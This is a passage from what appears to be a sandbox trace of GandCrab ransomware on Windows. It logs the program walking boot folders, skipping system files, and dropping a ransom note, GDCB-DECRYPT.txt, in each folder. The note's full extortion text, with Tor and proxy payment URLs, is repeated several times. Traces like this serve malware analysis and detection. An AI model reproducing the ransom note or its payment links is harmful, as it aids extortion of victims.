(lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.835] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.835] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.835] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.835] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.835] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.835] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.835] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.835] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\pl-PL\\memtest.exe.mui") returned="C:\\Boot\\pl-PL\\memtest.exe.mui" [0052.835] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.836] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0052.836] lstrlenW (lpString="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0052.836] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.836] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.836] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.836] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.836] lstrcmpW (lpString1="pt-BR", lpString2=".") returned 1 [0052.836] lstrcmpW (lpString1="pt-BR", lpString2="..") returned 1 [0052.836] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pt-BR" | out: lpString1="C:\\Boot\\pt-BR") returned="C:\\Boot\\pt-BR" [0052.836] lstrcatW (in: lpString1="C:\\Boot\\pt-BR", lpString2="\\" | out: lpString1="C:\\Boot\\pt-BR\\") returned="C:\\Boot\\pt-BR\\" [0052.836] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.837] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.837] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.837] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.837] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.837] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.837] lstrlenW (lpString="C:\\Boot\\pt-BR\\") returned 14 [0052.837] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="*" | out: lpString1="C:\\Boot\\pt-BR\\*") returned="C:\\Boot\\pt-BR\\*" [0052.837] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588b20 [0052.840] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.840] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.840] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.840] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.840] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.841] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.841] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.841] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="C:\\Boot\\pt-BR\\bootmgr.exe.mui" [0052.841] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0052.841] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.841] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.841] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.841] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.841] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\pt-BR\\memtest.exe.mui") returned="C:\\Boot\\pt-BR\\memtest.exe.mui" [0052.841] lstrlenW (lpString="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0052.841] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.841] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.841] FindClose (in: hFindFile=0x588b20 | out: hFindFile=0x588b20) returned 1 [0052.841] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.841] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\pt-BR\\\\GDCB-DECRYPT.txt") returned 31 [0052.841] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\pt-br\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.842] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.842] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.842] CloseHandle (hObject=0x4e0) returned 1 [0052.843] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.843] lstrlenW (lpString="C:\\Boot\\pt-BR\\") returned 14 [0052.843] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="*" | out: lpString1="C:\\Boot\\pt-BR\\*") returned="C:\\Boot\\pt-BR\\*" [0052.843] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588de0 [0052.843] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.843] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.843] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.843] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.843] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.843] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.843] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.843] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="C:\\Boot\\pt-BR\\bootmgr.exe.mui" [0052.843] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.844] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0052.844] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0052.844] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.844] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.844] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.844] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.844] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt" [0052.844] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.844] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt") returned 30 [0052.844] lstrlenW (lpString="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt") returned 30 [0052.844] lstrlenW (lpString="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt") returned 30 [0052.844] lstrlenW (lpString="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt") returned 30 [0052.845] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.845] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.845] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.845] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.845] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.845] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.845] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.845] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.845] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.845] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.845] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.845] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.845] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.845] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\pt-BR\\memtest.exe.mui") returned="C:\\Boot\\pt-BR\\memtest.exe.mui" [0052.845] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.845] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0052.845] lstrlenW (lpString="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0052.845] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.846] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.846] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.846] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.846] lstrcmpW (lpString1="pt-PT", lpString2=".") returned 1 [0052.846] lstrcmpW (lpString1="pt-PT", lpString2="..") returned 1 [0052.846] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pt-PT" | out: lpString1="C:\\Boot\\pt-PT") returned="C:\\Boot\\pt-PT" [0052.846] lstrcatW (in: lpString1="C:\\Boot\\pt-PT", lpString2="\\" | out: lpString1="C:\\Boot\\pt-PT\\") returned="C:\\Boot\\pt-PT\\" [0052.846] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.846] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.846] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.846] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.846] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.846] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.847] lstrlenW (lpString="C:\\Boot\\pt-PT\\") returned 14 [0052.847] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="*" | out: lpString1="C:\\Boot\\pt-PT\\*") returned="C:\\Boot\\pt-PT\\*" [0052.847] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588de0 [0052.847] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.847] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.847] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.847] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.847] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.847] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.847] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.847] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="C:\\Boot\\pt-PT\\bootmgr.exe.mui" [0052.847] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0052.847] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.847] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.847] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.847] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.847] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\pt-PT\\memtest.exe.mui") returned="C:\\Boot\\pt-PT\\memtest.exe.mui" [0052.847] lstrlenW (lpString="C:\\Boot\\pt-PT\\memtest.exe.mui") returned 29 [0052.847] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.847] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.847] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.847] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.848] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\pt-PT\\\\GDCB-DECRYPT.txt") returned 31 [0052.848] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\pt-pt\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.848] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.848] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.849] CloseHandle (hObject=0x4e0) returned 1 [0052.849] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.849] lstrlenW (lpString="C:\\Boot\\pt-PT\\") returned 14 [0052.849] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="*" | out: lpString1="C:\\Boot\\pt-PT\\*") returned="C:\\Boot\\pt-PT\\*" [0052.849] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588de0 [0052.849] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.849] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.849] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.849] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.849] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.849] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.849] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.849] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="C:\\Boot\\pt-PT\\bootmgr.exe.mui" [0052.849] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.850] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0052.850] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0052.850] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.850] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.850] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.850] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.850] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt") returned="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt" [0052.850] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.851] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt") returned 30 [0052.851] lstrlenW (lpString="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt") returned 30 [0052.851] lstrlenW (lpString="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt") returned 30 [0052.851] lstrlenW (lpString="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt") returned 30 [0052.851] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.851] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.851] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.851] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.851] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.851] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.851] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.851] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.851] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.851] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.851] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.851] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.851] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.851] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\pt-PT\\memtest.exe.mui") returned="C:\\Boot\\pt-PT\\memtest.exe.mui" [0052.851] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.852] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\pt-PT\\memtest.exe.mui") returned 29 [0052.852] lstrlenW (lpString="C:\\Boot\\pt-PT\\memtest.exe.mui") returned 29 [0052.852] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.852] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.852] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.852] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.852] lstrcmpW (lpString1="qps-ploc", lpString2=".") returned 1 [0052.852] lstrcmpW (lpString1="qps-ploc", lpString2="..") returned 1 [0052.852] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="qps-ploc" | out: lpString1="C:\\Boot\\qps-ploc") returned="C:\\Boot\\qps-ploc" [0052.852] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc", lpString2="\\" | out: lpString1="C:\\Boot\\qps-ploc\\") returned="C:\\Boot\\qps-ploc\\" [0052.852] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.853] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.853] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.853] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.853] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.853] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.853] lstrlenW (lpString="C:\\Boot\\qps-ploc\\") returned 17 [0052.853] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="*" | out: lpString1="C:\\Boot\\qps-ploc\\*") returned="C:\\Boot\\qps-ploc\\*" [0052.853] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588b20 [0052.857] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.857] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.857] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.857] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.857] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.857] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.857] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.857] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\qps-ploc\\bootmgr.exe.mui") returned="C:\\Boot\\qps-ploc\\bootmgr.exe.mui" [0052.857] lstrlenW (lpString="C:\\Boot\\qps-ploc\\bootmgr.exe.mui") returned 32 [0052.857] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.857] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.857] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.857] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.857] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\qps-ploc\\memtest.exe.mui") returned="C:\\Boot\\qps-ploc\\memtest.exe.mui" [0052.857] lstrlenW (lpString="C:\\Boot\\qps-ploc\\memtest.exe.mui") returned 32 [0052.857] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.857] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.857] FindClose (in: hFindFile=0x588b20 | out: hFindFile=0x588b20) returned 1 [0052.857] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.858] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\qps-ploc\\\\GDCB-DECRYPT.txt") returned 34 [0052.858] CreateFileW (lpFileName="C:\\Boot\\qps-ploc\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\qps-ploc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.860] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you 